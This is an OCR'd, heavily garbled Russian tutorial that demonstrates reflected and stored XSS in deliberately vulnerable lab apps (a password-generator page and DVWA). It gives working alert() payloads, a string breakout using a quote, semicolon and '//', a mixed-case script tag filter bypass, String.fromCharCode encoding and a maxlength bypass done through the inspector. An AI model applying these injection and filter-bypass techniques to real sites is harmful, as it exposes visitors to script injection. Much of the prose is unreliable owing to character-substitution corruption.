}

» <b10c I\quote> @ =/blockquote=
Inherited from table

=/ LU=
</tr= global-styles.css:218
=</tbody= ~ table.main-table-

frame {
horder-rnllanse-

html > body > table.main-table-frame > thody » tr » td » blockquote > script

Mbl nepemeLl,aemcs Ha OTKPbIBAIOLLMIA U 3aKpbiBatowwmit Tern «blockqoute».
HaxogMm cIoOMaHHbIN KOA, U OH BbIMAAUT KaK:
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Reset DB
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\ Password Generator
% Back

| Password Generator

i Making strong passwords is important.

Click the button below to generate a password.
—

Site

"; Ycatch(e){ alert("Error: " + e.message); }// end catch
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=div style="margin: 5px;"=J</div= ~ Filte | F'?—-g .

<div id="id-generator-form-div"=[.J</div>

No element selected.

try{ document.getElementById("idUsernameInput").innerHTML = "This
password is for <script=>alert("Reflected XSS")

": }catch(e){ alert("Error: " + e.message); }// end catch

=1 __FEnd fantant_ _=

html > body » table.main-table-frame » tbody » tr » td » blockquote » script

Ha 37Ol cTpaHuLe NPOUCXOANT aBTOMATUYECKOE PasMeLLLeHNe BBEAEHHbIX
AaHHbIX B ABa Tera <script>. icxoas 13 aToro mbl MOXeM cAenaTb BbiBO4, YTO 3TU
TErn He HYXKHbl, U Mbl ybepem 1Ux 13 Hallero cKpunra.

O6paTMTe BHMMaHWMNE Ha KO, B CKPUMNTE HET 3aKpPbIBaAOLWEro Tera <script>:
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| Password Generator

Making strong passwords is important.
Click the button below to generate a password.
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" Ycatch(e){ alert("Error: " + e.message); }// end catch
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<div style="margin: 5px;">(</div> e Filte } Fl?—-i i

<div id="id-generator-form-div"s(</div>

No element selected.

try{ document.getElementBvId("idUsernameInput").innerHTML = "This
password is for <script=alert("Reflected XS5")
= f =
"; }catch(e){ alert("Error: " + e.message); }// end catch

=1_ _FEnd rfrantant_ _=-

html > body » table.main-table-frame » tbody » tr » td » blockquote » script

ELLe MoXKHO 0BHapyKWTb B 3aNMCK O4HY KaBbIYKY:
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Making strong passwords is important.
Click the button below to generate a password.

" }Ycatch(e){ alert("Error: " + e.message); }// end catch

/:1\

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack, -

[@ {3 Inspect Conso (O Debugg {} StyleEdit (S Performar £k Memo = Netwo £ Storac (-] B & O £ X
Search HTML #¢ Rules Computed Layout  Animat

<div id="id-generator-form-div">(</div> - FilterSt\;les L G cls

trv{ document.oetElementBvId("idUsernameInpout"}.innerHTML = Mo element selected.

"This password is for <script=alert("Reflected XSS")

"; }catch(e}{ alert("Error: " }// end catch

End Content-

+ e.message);

w

< html body table.main-table-frame tbody » tr » td » blockquote » >

Ham npocto Heo6xoaMMO 3aKpbITb KaBbl4YKY eLLe OAHMM CUMBOJIOM. 3anumch
npumet Bua: «“ alert(,,Reflected XSS“)». 310 HY*KHO Ans Toro, 4Tob6bLI HbINA 3aNKUCH
bYHKLUMKM B YncToM BMAe, 6e3 INLWHUX CUMBOJIOB.

[laBainTe OKMHEM B3rNAL40M Hall Kog Ha JavaScript. BHavane y Hac naet nepsas
CTpoKa Koaa: «document.getElementByld». ina Toro, 4tobbl 3KCNAYaTUPOBATbL 3TY
YA3BMMOCTb, Ha 0683aTeNbHO 6bITb Nporpammuctom JavaScript. Bam Hy*KHO
NOHMMaTb, Kak Bce paboTaerT.

Hac uHtepecyet InnerHTML, ¢ ganbHenwen 3anncbio, KOTOPYIO Mbl NMbITaeMCS
3aKpbITb AONONHUTENbHOM KaBbl4YKOM, ybpaB Ter script. B a3bike
nporpammmpoBaHma JavaScript, 4na Toro, 4To6bl 3aBEPLUNTb CTPOKY, HeobxoanMMmo
BCTaBUTb CUMBOJI TOUKA C 3aMATON «;». CMOTpUTE, YTO Mbl Aenaem. J1ormka
3aK1to4aeTca B TOM, YTODObl 3aKpbITb NEPBYHO CTPOKY, KOTOpas 3aBepLuaeTca
BCTaBNEHHOM HaMM KaBbl4YKOM. 3anncb NpumeT Bug, , ;alert(,Reflected XSS“). Kak
Bbl y>Ke goraganucb, Ham HyXHO A06aBUTb AOMNONAHUTENIbHBIN CUMBOA «;», B
KOHeL, BTOpOW CTPOKMW. ITO byaeT BbIrnAaeTb Kak: ,, ;alert(,,Reflected XSS“);.
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Kak BUAMM, HUYero He NPOM30LW10. Ham HYXKHO NPOCMOTPETb UCXOAHbIN KOA,
CTPaHMLUbl BHOBb. 'KMeMm KHOMKy «Generate», U fanee nepexoanm B UHCNEKTOP
anemeHToB. [Tonyyaem BbIBOZ, Ceaytowero Koaa:
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Making strong passwords is important.
Click the button below to generate a password.
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Password Generator
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</form= Fi t Fl?:i .cls
</div>

- - No element selected.
try{ document.getElementById("idUsernameInput").innerHTML = "This password
is for " ;alert("Reflected XS5");"; }catch(e){ alert("Error: " +
e.message); }// end catch

html » body » table.main-table-frame » tbody » tr » td » blockquote » script

Ob6paTtnTe BHMMaAHMe Ha 3anucb nocne innerHTML. Hawa 3aKpbiBatow,aa KaBblyKa
Ha MecTe, M B LLe/IOM 3anucCb NAeT Mo Hawemy CLLeHaputo, BNOTb A0 3aKpbITUA
KoZda, C MOMOLLbH CUMBO/IOB «“;». 3TO BCE KECTKO NPOMNMUCAHO B KOAE, HO Mbl
MOX€EeM BOCMNONAb30BaTbCA METOAOM, KOTOPbIN NpumeHaeTca Npu SQL-MHbEKUUAX,
A UMEHHO MeTO4O0M KOMMEHTUPOBaHUA. KOMMeHTapuu nMeroT BMUA, ABYX NPAMbIX
cnawen: «//». BctaBnsaem ux B Halw Kopa.: «,, ;alert(, Reflected XSS“);//», n
KOMMpPYeM B afpecHyto CTPOKy bpaysepa:
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No element selected.

Haw Kopa 3anycTtuacs, U Mbl CMOTI/IM NPO3KCN/IyaTUPOBaTb 3Ty YA3SBUMOCTb.

Ba*KHO NOMHUTL TO, YTO MeTOAbI, KOTOPble Bbl MCMOAb3yeTe NPU NOUCKe
YyA3BUMOCTEN, He TONIbKO XSS 1 SQL-nHbeKuumn, Boobuue ntobbix ya3BUMOCTEN,
ByayT oTIMYaTbCA OT CalTa K canTy. [103TOMY HYXKHO TWATENbHO UCcCcnenoBaTh Beb-
CTPaHWULbI, CMOTPETb UX UCXOAHbIN KO, CMOTPETb KaK AaHHble nepeaatoTca
mexay cauTamm.

5.0 UccnepgoBaHue Stored XSS. YpoBeHb «low».

Moxkem nepenTn K paccmoTtpenuto Stored XSS. OH oyeHb noxoxk Ha Reflected XSS,
KOTOPbIM Mbl y¥Ke pa3bupanu B npeablayLmx ypokax. MHbIMU choBamu, OH
NO3BO/ISIET AenaTb MHbEKUMK JavaScript Koaa B bpay3ep, U Koa BbINOHAETCA Y
Nonb30BaTesien, KOTOpble NocewatoT cTpaHumuy. K yemy a Beay, cmbicn Reflected
XSS B TOM, 4TOObI OTAPaBUTb URL Lenn, n oHa yKe A0MKHA KAUKHYTb NO 3TON
CCbI/IKE, YTOObI 3aMyCTUTb IKCMNONT.

B cnyuyae e Stored XSS, kog 6yaeTt coxpaHeH B 6a3e AaHHbIX MW HA CTPaHMLUE
Beb-caiTa. [Mpn KaxkaoM OTKPbITUM CTPaHMLbI, NOAb30BaTeNb byaeT nonyyaTs Baw



KoZ, NO3TOMY HEeT HYXK/Abl B3aMMOAENCTBOBATb C M0/Ib30BaTENAMMU, U OTNPABKN UM
yero-nnbo. Stored XSS ropasao onacHee, yem Reflected XSS.

Ona panbHenwen paboTbl N AEMOHCTPALMM 3TON YA3BMMOCTU, MHE NoHaaobuTca
yasBumoe Beb-npunoxkeHme «DVWA», KoTopoe BXoAMT B COCTaB Linux-mallunHbl

«Metasploitable 2».

Mepenagem Ha cTpaHuuy «XSS stored»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® O

[®] Damn Vulnerable Web 2 X | =+

&« G o @ 10.0.2.7/dvwajvulnerabilities/xss_s/ B e @ || Q Search N o
£+ Most Visited [ill Offensive Security % KaliLinux "\, KaliDocs "%, KaliTools # Exploit-DB Wy Aircrack-ng gl Kali Forums “, NetHunter >

>

Home | Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

Setup | Name *

Brute Force Message *

Command Execution

CSRF | Sign Guestbook

File Inclusion

|
|
|
|
SQL Injection |
|
|
|
|

Name: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

XSS reflected More info

DVWA Security |

PHP Info |

About |

Logout |

Usernj::me: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

_

3Ta cTpaHMLUA NO3BOAAET OTNPaBUTbL CO0bLEHME B cucTemy. [laBante npocTo
NpoTEeCTUPYEM 3Ty CTPAHMULY, BBeAA KAKOW-TO TeKCT B ABa nondA. OH byaeT
BbIrNAAeTb Kak: «Timcore», n «Test»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® 6

& Damn Vulnerable Web 2 X | +

&« ¢ o ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ B | = @ || Q Search i o =
4+ Most Visited ]l Offensive Security S, KaliLinux “%, KaliDocs “% KaliTools & Exploit-DB Wy Aircrack-ng gl Kali Forums ‘e, NetHunter

-~

Home . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

Setup | Name *

Brute Force Message *

Command Execution

CSRF

| Sign Guestbook

File Inclusion

Name: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

Name: Timcore

LS Gz Message: Test

|
|
|
|
SQL Injection |
|
|
|
|

More info
DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

— hd

N ecnn mbl nepengem Ha gpyryto mawmHy (y meHs ato Windows 7 Home), n
OTKPOEM Ty e CTpaHMLY, Mbl YBUANM COXPAHEHHbIN KOMMEHTAPMN, KOTOPbIN
OCTaBWU/ A HECKONIbKO MUHYT Ha3aA,:



| ®alin MawwHa

: ‘& Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer ‘é’@

@ \\_;)l - |§, http://10.0.2.7/dvwa/vulnerabilities/xss_s/ v| bt |‘-} | b 4 | | 5 Bing o~

\::? MzBpanHoe g.;, £ | Pexomengyemble yznel v @ | Konnekuws seb-¢gparm...

{& Damn Vulnerable Web App (DVWA) v1.0.7 :: Vuln... f4 ~ B ~ = @ v Crparwuya v Besonactocts v Cepenc v @~

Home - *

Instructions |
| Mame

Setup

Message *
Brute Force

Command Execution

CSRF

Sign Guestbook

m

File Inclusion

sQL Injection (Blind) Message: This is a test comment.

|
|
|
|
SQAL Injection | MName: test
|
|
|
|

Upload MName: Timcore 0
Message: Test
X5S reflected
More info
DVWA Security |
DUD Infn | _ ki
4 I F

@ MHTEpHET | 3aLUMLLIEHHBIR PEXMM: B,

C M & .

B o @p & =i § @ (&) Npasbiid Ctrl

Kak Bbl y»Ke goraganncb, CoobLeHns 3arpyatTcsa M3 6a3bl AaHHbIX, U OHK
coAeprKaT TEeKCT. EC/IM Mbl CMOKEM BCTaBUTb KoA, TO N1t060I Nonb30BaTeND,
KOTOPbIN OTKPOET 3Ty CTPaHMLY, 3aNyCTUT 3TOT KoA. PasymeeTca, Ham He HYXKHO
HWUYEero NocblNaTb NOJIb30BATENAM.

[aBainte nonpobyem nposectn MHbeKLMIO. B none «Name», A BBegy «Timcore», a
B nosie «Message» BBeay «<script>alert(«Stored XSS»)</script>»:




Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® O

[® Damn Vulnerable Web 2 x | +

&« c @ ® 10.0.2.7/dvwajvulnerabilities/xss_s/ B | - @ v¢| | Q Search In &
£+ Most Visited [l Offensive Security S, Kali Linux % Kali Docs %, Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums ", NetHunter >

Home | Vulnerability: Stored Cross Site Scripting (XSS)

Instructions |

= |
I =script=aler("Stored XS5")</script= I

Brute Force

Message *
Command Execution
CSRF | sign Guestbook |
File Inclusion
MName: test

SQL Injection (Blind)

Message: This is a test comment.
Upload

Name: Timcore

LS i Message: Test

|
|
|
|
SQL Injection |
|
|
|
|

More info
DVWA Security |

PHP Info |

About |

Logout |

Usern§me: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

— ~

Mocne HaxaTmAa Ha KHOMKY «Sign Guestbook», mony4yMm BCn/biBatoLLEE OKHO:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e 0 O

« Damn Vulnerable Web £ X ‘ +

@ - X @ | ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ ses ﬁ| ‘O\ Search | m o =
£+ Most Visited [fll Offensive Security "\, KaliLinux " KaliDocs "\ Kali Tools # Exploit-DB W Aircrack-ng g Kali Forums S\, NetHunter >

Stored XS5

Read10.0.2.7

Ho HacToswas marma npomMcxoauT, Koraa YeNoBeK NepexoanT Ha 3ToT Beb-calT.
CyTb B TOM, YTO KOF4a No/Ib30BaTe/lb CO CBOEM MalUMHbI NepexoauT Ha CTPaHuLy, B
KOTOpPYHO Mbl BHeApuAaun JavaScript Koa, To oHa npeKkpacHo paboTaerT:



® ® \Windows 7 Home (Ceesxas yCTaHoB

dain Mawwna Buo Beop Ycrpoictea (CnpaBKa

r

@ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer [= = |[==]

@ i |§, http://10.0.2.3/dvwa/vulnerabilities/xss_s/ - | ] | + | A | | ;.; Bing e E}

7 VsBpanHoe | 95 @] Pexomenayembie ysnel » @ | Konnekuwn se6-dparm... v

{_) Damn Vulnerable Web App (DVWA) v1.0.7 :: Vuln... % ~ B - =1 @ ~ Crpanumya v Besonachocte v Cepenc~ (@~

V| Coosuemne coct-crpermin 3l | Cross Site Scriptin_

Home ‘

Instructions

Stored X55
p— | Al

Brute Force

Command Execution

CSRF

WU
e

=)

5QL Injection MName: test

Message: This is a test comment.

SAL Injection (Blind)

File Inclusion |

Upload MName: Timcore -
4| i 3

- | €0 Wrreprer | 3awmuienHbni pexnm: sk, Fgow HI0%

m ~_l:l_=|J Em E EN  mz @ 4T bggm

) {5 ) =1 iR 6 (8 (2] Moarwia Ctrl

Kop, c aToro Beb-caiTa, 6yaeT BbINONHEH Y BCEX, KTO NOCELAET 3Ty CTPaHULLY.

6.0 UccnepgoBaHue yasBumoctu Stored XSS — cpegHuii ypoBeHb.

MpoaoKkum paccmaTtpmsaTb YyA3BMMOCTb Stored XSS, n Tenepb paccmoTpmum
cpeaHuii ypoBeHb 6e30nacHoOCTH.

Mpepgnarato, Ana Havana paboTbl cOpocHTb 6a3y AaHHbIX, HTOObI O4MCTUTL HALLK
npeaplaywme gernctems. Nepexogmum B Be6-npunoxeHne « DVWA», Ha BKNagKy
«Setup», ®Xxmem KHonNKy «Reset Database»:



Damn Vulnerable Web 2 X

&«

Damn Vulnerable Web App (DVWA) v1.0.7 :: Setup - Mozilla Firefox e ® 0
+
® 10.0.2.7/dvwa/setup.php B | - @ || Q Search I @ =
$+ Most Visited [l Offensive Security & KaliLinux “ KaliDocs “e KaliTools % Exploit-DB W Aircrack-ng gl Kali Forums ‘e NetHunter >

#= Mozilla Firefox seems slow... to... start.

MoNy4Mm BbIBOA HEKOTOPbIX MAapPamMeTpoB:

C @

Home

Instructions

Brute Force

Command Execution

CSRF

File Inclusion

Database setup ™

Click on the 'Create / Reset Database’ button below to create or reset your database. If you get an error make
sure you have the correct user credentials in fconfig/config.inc.php

If the database already exists, it will be cleared and the data will be reset.

Backend Database: MySQL

Create / Reset Database

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

Learn How to Speed It Up | | Don't Tell Me Again

X




[® Damn Vulnerable Web 2 x

& ¢ @

+

Damn Vulnerable Web App (DVWA) v1.0.7 :; Setup - Mozilla Firefox

© 00

® 10.0.2.7/dvwa/setup.php

B8

e @ | Q Search n @

#+ Most Visited [l Offensive Security " KaliLinux " KaliDocs " Kali Tools % Exploit-DB Wy Aircrack-ng g Kali Forums %, NetHunter >

Home

Instructions

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Database setup -

Click on the 'Create / Reset Database' button below to create or reset your database. If you get an error make
sure you have the correct user credentials in /configfconfig.inc. php

If the database already exists, it will be cleared and the data will be reset

Backend Database: MySQL

| Create / Reset Database |

Database has been created.

Upload
‘users' table was created.
XSS reflected
XSS stored Data inserted into 'users’ table.
DVWA Security | ‘guestbook’ table was created.
S5 i | Data inserted into 'guestbook’ table.
About |
Setup successfull
Logout |

Username: admin
Security Level: high
PHPIDS: disabled

£- Mozilla Firefox seems slow... to... start.

| Learn How to Speed It Up || Don't Tell Me Again |X

w

N ecnn mbl nepengem Ha BKIagKy «XSS stored», To Bce 3anucu byayT yaaneHbl:




Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e 0 0

[®] Damn Vulnerable Web 2 x | +

&« C o ® 10.0.2.7/dvwa/vulnerabilitiesfxss_s/ B | - @ v¢| | QA Search mn o =
£+ Most Visited [l Offensive Security ", KaliLinux " KaliDocs “e Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums %, NetHunter >

~

Home | Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

Setup | MName *

Brute Force Message *

Command Execution

CSRF | sign Guestbook

File Inclusion

Mame: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

XSS reflected More info

|
|
|
|
SQL Injection |
|
|
|
|

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help |
Security Level: high

PHPIDS: disabled e

# Mozilla Firefox seems slow... to... start. Learn How to Speed It Up || Don't Tell Me Again |x

CobcTBEHHO, 3TOrO Mbl M JO0H6MBaNUCH.
TaK»Ke HaM HY)KHO M3MEHUTb YPoBeHb be3onacHocTK Ha «Medium»:



Damn Vulnerable Web £ X ‘ +

c @ ® 10.0.2.7/dvwa/security.php B |- @ || Q Search N o

e

Damn Vulnerable Web App (DVWA)v1.0.7 :: DVWA Security - Mozilla Firefox e ® O I

3+ Most Visited [l Offensive Security S, Kali Linux " KaliDocs ' Kali Tools # Exploit-DB Wy Aircrack-ng gl Kali Forums ‘e, NetHunter 3

£= Mozilla Firefox seems slow... to... start.

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

>

DVWA Security =

Script Security

I Security Level is currently I‘I‘Iedil.ll‘l‘l.l

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

PHP Info

About

Logout

Username: admin
Security Level: medium
PHPIDS: disabled

| medium v | Submit |

PHPIDS

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
You can enable PHPIDS across this site for the duration of your session
PHPIDS is currently disabled. | 1

[ 1-1 1

Security level set to medium

w

Learn How to Speed It Up | | Don't Tell Me Again | X

N nepexoanm Ha BKNaaKy «XSS stored».

Ob6paTtnTe BHMMAHME HA TO, YTO Ha cCpesHeM ypoBHe 6€30NacHOCTU y Hac HeT
BO3MOXHOCTM BCTaBKM Koga B none «Message». Hawa 3agava byaet 3akato4atbes
B TOM, 4TODObI caenatb MHbEKUMIO B nosie «Name». [laBalite
3KCNEePUMEHTMPOBATb, M CHa4yana nonpobyem NpmMBbIYHbLIA HAM YKe Kog,
NOMNbITAaBLWNCb BCTaBUTb ero B none «Namen.

MepBas npobnema, Npu BCTaBKe, 3aKNOHAETCA B TOM, YTO B Zl@aHHOM Mone
CyLLEeCTBYET OrpaHM4YeHne Ha CMMBOJIbl. Mbl HE CMOXEeM BCTaBUTb MOJIHOCTbIO HALL
CKpuMNT:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® O

[®] Damn Vulnerable Web 4 x | +

&« c o ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ B | - @ t%| | Q Search I @ =
£+ Most Visited [l Offensive Security S Kali Linux " KaliDocs “e Kali Tools % Exploit-DB Wy Aircrack-ng g Kali Forums ‘e NetHunter 3

-~

Home . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

Setup | Name * <script=al l

Brute Force Message *

Command Execution

CSRF | sign Guestbook

File Inclusion

Name: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

XSS reflected More info

|
|
|
|
SQL Injection |
|
|
|
|

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help |
Security Level: medium
PHPIDS: disabled w

&= Mozilla Firefox seems slow... to... start. | Learn How to Speed It Up | | Don't Tell Me Again | X

3TO orpaHun4yeHune nerko 06omnTn. - mem nNpaBoi KHOMKOM Mbilwin B nosie «Namey,
n Bbibnpaem «Inspect Element». Nonagaem Ha «Input», B KOTOPOM MeHAEM
3HavyeHune «maxlength» Ha 100 (ana npumepa):



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e 0 O

[ Damn Vulnerable Web 2 X | +

&« c @ ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ B | - @ %% | Q search In @O =
£+ Most Visited [ill Offensive Security S Kali Linux " KaliDocs “ KaliTools % Exploit-DB W Aircrack-ng gl Kali Forums S NetHunter >

Home . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

Setup | Name * | <script>al |

D = Message *

Command Execution

CSRF Sign Guestbook

File Inclusion

Name: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

XSS reflected More info

|
|
|
|
SQL Injection |
|
|
|
|

[ {3 Inspect [JConse [ Debugg {} StyleEdit (G Performar £k Memo = Netwo 8 Storac ([J" ] B & 0 & X

w

=+ Search HTML &5 Rules  Computed
<tr> " Fi =+ Fl?--i .cls
: —n .. +
<td width="100">Name *</td= element { inline 2
<td=> —_—
<input name="txtName" size="38" maxlength="100" type="text"> }
</td> | input, main.css:32
</trs textarea, select
<tr>(=</tr> {
= Y font: b 100%
< » div.body_padded > div.vulnerable_code_area » form » table » thody » tr > td > input > arial,sans- .

BctaBnsem Haw ckpunT (<script>alert("Stored XSS")</script>) B none «Name» n
nobasnsem 3anuch «test», B none «Message»:



[®] Damn Vulnerable Web 2 x | +

(€)> C @

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (O < ]
@ 10.0.2.7/dvwa/vulnerabilities/xss_s/ B |- @ ¥ | Q Search In @O =
£+ Most Visited [l Offensive Security " KaliLinux " KaliDocs “e Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums S NetHunter >

Home |

Vulnerability: Stored Cross Site Scripting (XSS)

Instructions |

Name * | <script=alert("Stored XS5")</script= |

Setup |

test|

Brute Force Message *

Command Execution

CSRF | sign Guestbook

File Inclusion

Mame: test

SQL Injection (Blind)
Message: This is a test comment.

Upload

Name: alert("Stored X55")

S ] Message: test

|
|
|
|
SQL Injection |
|
|
|
|

[ L7 Inspect Conso [ Debugg {} Stylekdit (G Performar £k Memo =
-+ Search HTML

= x_

<tr=
<td width="188"=Name *</td=
<td=
<input name="txtName" size="30" maxlength="108" type="text"=>
</td=
</tr=

<trs(=)=/tr>

e_area » form » table »

< » div.bc > div.vulnerable_ tbody » tr » td

y_padded

mem KHonKy «Sign Guestbook», n HMYero He npoucxoauT:

’\(

> input >

Rules  Computed

Fi + Mo,
textarea, select
{

font: b 100%

arial,sans-
serif;

vertical-align:

middle;
}

-

Netwo & Storac ([J" ] B @ 8 X

.cls
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[® Damn Vulnerable Web 2 x | +

&« ¢ o ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ B | =~ @ | Q Search N o =
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Home . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |
Setup | Name *
Brute Force | Message *
Command Execution |
CSRF | | sign Guestbook
File Inclusion |
SQL Injection |
SQL Injection (Blind) | Name: test
Message: This is a test comment.
Upload |
MName: alert("Stored XS5")
Bk i | Message: test
| | Mame: alert("Stored XS5™) v
[@ L7 Inspect Conso [ Debugg {3} StyleEdit (G Performar 4k Memo = Netwo £ Storac [~ F] B & 0 & X
—+ Search HTML £° Rules  Computed
=tr> & Fi —|— L'__Il?--i .cls
i —n " *
:j:.lldth l08"=Name *</td= element { inline A
<input name="txtName" size="38" maxlength="18" type="text"= } I
</td> input, main.css:32
</tr> textarea, select
- {
<tr=(=)</tr=
- Y font: b 100%
< » div.body_padded > div.vulnerable_code_area > form > table » tbody > tr > td > input > arial,sans- .

MpuunHa B GMAbLTPALMM HALLEro CKPUNTA, TaK Kak, UCXOAs M3 rOCTEBOM 3anucu, y
HAC OTCYTCTBYIOT Termn «script». Ham Hy»kHO 0601TK AaHHbIA dUnbTP. Mbl yiKe
AEeNanu 370, U HAM HYXXHO NPONMcaTb 3arnaBHble BYKBbI B Terax CKpMNT. 3anNncb
6yaet umeTb BuA: <sCripT>alert("Stored XSS")</ScripT>.

MNpoaenaem Bce Warn BHOBb, U NONYYMM Pe3ynbTaT:
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Damn Vulnerable Web 2 X ‘+

2 r
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Stored XSS

Read10.0.2.7
(& {3 inspect [ Conse O Debugg {} StyleEdit (S Performar £k Memor = Netwo 8 Storac (-] B & 0 & X

+ @ Search HTML £°  Rules  Computed
v Fi + rPl' .cls

No element selected.

Mbl ¢ NerkocTbto 060LWNAN AaHHbIN GUALTP, U NPOIKCMNYATUPOBANN AAHHYIO
YA3BUMOCTb.

[laBainTe NpPoAO/NXKMM HALLM UCCNEeA0BAHUA, U PACCMOTPUM AaHHYHO YA3BMMOCTb, C
dUNbTPaLMEN KaBblYEK, TAK KAK MHOTME CalTbl MUCMOAb3YIOT 3TOT MeToA, ANA
bUNbTPaUUM OAMHOYHDBIX U AaXKe ABOMHbIX KaBblueK. B pesynbtaTte yero
NPOUCXOAMUT yaaneHne 3TuX CUMBOJIOB.

YTO Mbl MOXKEM NPeanpPUHATbL B 3TOM clydae? MOMKHO MCMONb30BaTh PYHKLNIO
«String.fromCharCode», n BHyTpU ee HyXXHO caenaTb 3anNncb B BUAE KOAUPOBKU
cumBonoB («charcodey).

Y106bI NPOBECTM KOHBEPTALMIO, HAM NOHAZ0OMTCA KanbKynaTop «charcode
calculator». NMouwem B MHTEPHETE NOAXOAALLUN.
Mpu nepexoae Ha caiT A BBeAy Ha3BaHue ansa npeobpasoBaHma: «Stored XSS 2»:



Uncle Jim's Javascript Utilities: CharCode Translator - Mozilla Firefox e e

[ Damn Vulnerable Web 2 X | (@ charcode calculatorat D1 X | Ll Uncle Jim's Javascript U X | 4+

cd @ ® wwuw jdstiles.com/java/cct.html o @ Search In 6D
£+ Most Visited [l Offensive Security "%, Kali Linux % KaliDocs % KaliTools % Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter

Uncle Jim's Web Designs
Javascript Utilities
CharCode Translator

Author: Jim Stiles

This is a page that demonstrates the JavaScript charCodeAt() and fromCharCode() functions that | use. Type character numbers separated by commas in the
first box, hit the first button and see the character equivalents in the second. Paste, or type, characters into the third, hit the second button, and see the character

number codes in the last.

85, 11@, 99, 188, 181, 32, 74,
185, 189
|| fromCharCode()
Lstored Xss 2 | 83, 116, 111, 114, 161, 1ee, 32,
88, 83, 83, 32, 50

<script language=javascript>eval(String.fromCharCode(PLACE CharCode HERE ))</script>

Send this page to someone

Where do you want to go j

Website Administrator
Close This Window

Konunpyem creHepupoBaHHbIM KO, 1 BCTaBAAEM €ro B CKPMMT, KOTOpbI byaeT
BbIrnaAeTb Kak: <sCripT>alert(String.fromCharCode(83, 116, 111, 114, 101, 100,
32, 88, 83, 83, 32, 50))</ScRIPT>.

[anee Ham Hy»XHO NPOCTO 3anyCTUTb ero. 1 U3SMeHUN HeKoTopble BYKBbI
NPOMNUCHbIMM B Terax «script», ana obxoaa ¢punbtpaumnm.

NoBTOpAEeMm Te XKe waru, 4To n B npeabiaywem npumepe. MeHaem gnmHy Ha 100
CMMBO/I0B B UICXO4HOM KOoAe, U BCTaBAeM CKpmNT B nose «Name», a NpocTon

TEKCT, B none «Message»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® O

+ Damn Vulnerable Web A X ‘ @ charcode calculator at D1 X | O Uncle Jim's Javascript U' X | +

@ - X @ | @ 10.0.2.7/dvwa/vulnerabilities/xss_s/ e 1‘}| |Q Search | N
£+ Most Visited [ill Offensive Security % KaliLinux %, KaliDocs "% Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums “, NetHunter >

Stored XS5

Read 10.0.2.7
[# {3 inspect J Conso [ Debugg {} StyleEdit (I Performar £k Memo = Netwo 8 Storac [J"F] B & O & X
+ @ Search HTML ¢ Rules  Computed

VRl 4 Ty s

No element selected.

Mbl BUAMM NepBbIi BbiBOA, YA3BMMOCTU XSS. mem KHonKy «Ok» 1 nonyyaem:



[ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® O

Damn Vulnerable Web /X ‘@charcodecalculatoratD X | ] Uncle Jim's Javascript Ut X |+

':\(—/:' - X @ | @ 10.0.2.7/dvwa/vulnerabilities/xss_s/ e ﬁ| |Q Search | N o =
£} Most Visited [l Offensive Security S KaliLinux % KaliDocs “ KaliTools ® Exploit-DB W Aircrack-ng g Kali Forums ' NetHunter >

Stored XSS 2

["1Prevent this page from creating additional dialogs

Read 10.0.2.7
[® ©3inspect [ Conse [ Debugg {} StyleEdit (I Performar £k Memo: = Netwo 8 Storac ("] B & O & X
+ @ Search HTML £ Rules  Computed

